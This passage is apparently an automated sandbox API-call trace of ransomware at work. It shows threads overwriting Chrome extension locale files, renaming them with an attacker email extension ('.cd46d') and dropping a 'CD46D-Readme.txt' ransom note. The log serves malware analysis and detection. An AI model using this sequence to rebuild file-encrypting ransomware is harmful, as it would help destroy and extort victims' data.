BaseAddress=0x12cf5090) returned 1 [0195.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a50) returned 1 [0195.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9385b8) returned 1 [0195.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a20) returned 1 [0195.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938568) returned 1 [0195.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9092a8) returned 1 [0195.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9093e8) returned 1 [0195.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909898) returned 1 [0195.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd494060 [0195.977] wcscpy (in: _Dest=0xd494060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" [0195.977] wcscat (in: _Dest=0xd494060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.977] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5bcf834, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c93a0 [0196.096] FlushFileBuffers (hFile=0x13d8) returned 1 [0196.102] CloseHandle (hObject=0x13d8) returned 1 [0196.138] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x12cf7728 [0196.138] wcscpy (in: _Dest=0x12cf7728, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\" [0196.138] wcscat (in: _Dest=0x12cf7728, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\CD46D-Readme.txt" [0196.138] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\cd46d-readme.txt")) returned 0xffffffff [0196.138] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19ac [0196.156] WriteFile (in: hFile=0x19ac, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x5bcf83c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x5bcf83c*=0x6fd, lpOverlapped=0x0) returned 1 [0196.171] CloseHandle (hObject=0x19ac) returned 1 [0196.185] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7728) returned 1 [0196.185] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13390df0) returned 1 Thread: id = 8042 os_tid = 0x1224 [0188.480] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json")) returned 0x2020 [0188.480] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json", dwFileAttributes=0x20) returned 1 [0191.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1650 [0191.166] GetFileSizeEx (in: hFile=0x1650, lpFileSize=0x482f788 | out: lpFileSize=0x482f788*=312) returned 1 [0191.166] SetFilePointerEx (in: hFile=0x1650, liDistanceToMove=0x134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.166] ReadFile (in: hFile=0x1650, lpBuffer=0x482f70c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x482f708, lpOverlapped=0x0 | out: lpBuffer=0x482f70c*, lpNumberOfBytesRead=0x482f708*=0x4, lpOverlapped=0x0) returned 1 [0191.167] SetFilePointerEx (in: hFile=0x1650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.167] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909398 [0191.167] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e158 [0191.167] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93df78 [0191.167] NtQuerySystemTime (in: CurrentTime=0x482f6e8 | out: CurrentTime=0x482f6e8*=132174899657638000) returned 0x0 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x40ff26d1 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x6e07ab1c [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x7223ab6 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x2ece8201 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x270a3359 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x3c62ad41 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x602f1942 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x2e4df7c1 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x20a548d5 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x213a5021 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x312272d4 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x4d21a8c0 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x38f2b2a2 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x1aad94b5 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x15dab6b0 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x638c615d [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x49cbecdc [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0xdbb1c45 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x4a9c7dd4 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x43b03953 [0191.167] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x5ce9163d [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x132a1994 [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x768b84ad [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x685e8745 [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x29d133b7 [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x1fe7b27 [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0xda08d04 [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x4dd74dfb [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x5dc6d26d [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x5e9d8da1 [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x640c603d [0191.168] RtlRandomEx (in: Seed=0x482f6f4 | out: Seed=0x482f6f4) returned 0x48452bbf [0191.181] ReadFile (hFile=0x1650, lpBuffer=0x12dba128, nNumberOfBytesToRead=0x138, lpNumberOfBytesRead=0x482f6e4, lpOverlapped=0x0) [0191.181] SetFilePointerEx (in: hFile=0x1650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.181] WriteFile (in: hFile=0x1650, lpBuffer=0x12dc6930*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x482f6e0, lpOverlapped=0x0 | out: lpBuffer=0x12dc6930*, lpNumberOfBytesWritten=0x482f6e0*=0x138, lpOverlapped=0x0) returned 1 [0192.657] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5fd0 [0192.657] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58a0 [0192.657] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58a0) returned 1 [0192.657] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dc6930) returned 1 [0192.657] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dba128) returned 1 [0192.663] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8d28) returned 1 [0192.663] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9720) returned 1 [0192.663] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6900 [0192.663] SetFilePointerEx (in: hFile=0x1650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.663] WriteFile (in: hFile=0x1650, lpBuffer=0x12cf60f8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x482f748, lpOverlapped=0x0 | out: lpBuffer=0x12cf60f8*, lpNumberOfBytesWritten=0x482f748*=0x10b, lpOverlapped=0x0) returned 1 [0192.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf60f8) returned 1 [0192.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6930) returned 1 [0192.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58a0) returned 1 [0192.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6900) returned 1 [0192.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fd0) returned 1 [0192.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e158) returned 1 [0192.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b48) returned 1 [0192.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98a0) returned 1 [0192.749] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x933e28 [0192.749] wcscpy (in: _Dest=0x933e28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" [0192.749] wcscat (in: _Dest=0x933e28, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.749] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x482f700, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.749] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x93d4c0 Thread: id = 8043 os_tid = 0x1228 [0188.480] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json")) returned 0x2020 [0188.480] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json", dwFileAttributes=0x20) returned 1 [0191.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10ec [0191.181] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x2a4fcb4 | out: lpFileSize=0x2a4fcb4*=292) returned 1 [0191.182] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.182] ReadFile (in: hFile=0x10ec, lpBuffer=0x2a4fc38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a4fc34, lpOverlapped=0x0 | out: lpBuffer=0x2a4fc38*, lpNumberOfBytesRead=0x2a4fc34*=0x4, lpOverlapped=0x0) returned 1 [0191.182] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909398 [0191.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9b98 [0191.183] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a30 [0191.183] NtQuerySystemTime (in: CurrentTime=0x2a4fc14 | out: CurrentTime=0x2a4fc14*=132174899657794000) returned 0x0 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x35d26771 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x7be672d3 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x2ef6949 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x4ffd6223 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x3e84942b [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0xf01060e [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x37abc339 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x3017c5b6 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x619e0a76 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x421a475c [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x8d802e8 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0xe8f8572 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x477e8168 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x29ebe653 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x61fd09da [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x6dd6cd44 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x2f7e08ef [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x60cfcb72 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x6bf02122 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x3460e0c5 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x3eb2f218 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x5b3be781 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x552a406c [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x4f8e4715 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x56c22119 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0xbb3cc0f [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x1d1b73c9 [0191.183] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x21df2cca [0191.184] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x4fb1b4fe [0191.184] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x4c689862 [0191.184] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x38f4d2b9 [0191.184] RtlRandomEx (in: Seed=0x2a4fc20 | out: Seed=0x2a4fc20) returned 0x4a6da899 [0191.197] ReadFile (hFile=0x10ec, lpBuffer=0x12dd3138, nNumberOfBytesToRead=0x124, lpNumberOfBytesRead=0x2a4fc10, lpOverlapped=0x0) [0191.197] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.197] WriteFile (in: hFile=0x10ec, lpBuffer=0x12ddf940*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2a4fc0c, lpOverlapped=0x0 | out: lpBuffer=0x12ddf940*, lpNumberOfBytesWritten=0x2a4fc0c*=0x124, lpOverlapped=0x0) returned 1 [0192.673] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x937fa0 [0192.673] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x937ff0 [0192.673] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937ff0) returned 1 [0192.673] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ddf940) returned 1 [0192.673] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dd3138) returned 1 [0192.676] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8cb0) returned 1 [0192.676] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9768) returned 1 [0192.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6f90 [0192.676] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.676] WriteFile (in: hFile=0x10ec, lpBuffer=0x12cf5838*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2a4fc74, lpOverlapped=0x0 | out: lpBuffer=0x12cf5838*, lpNumberOfBytesWritten=0x2a4fc74*=0x10b, lpOverlapped=0x0) returned 1 [0192.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5838) returned 1 [0192.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6fc0) returned 1 [0192.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937ff0) returned 1 [0192.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f90) returned 1 [0192.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fa0) returned 1 [0192.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b98) returned 1 [0192.757] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9990) returned 1 [0192.757] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9760) returned 1 [0192.757] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x9342c0 [0192.757] wcscpy (in: _Dest=0x9342c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" [0192.757] wcscat (in: _Dest=0x9342c0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.757] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2a4fc2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.757] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c96d0 Thread: id = 8044 os_tid = 0x1600 [0188.481] GetFileAttributesW 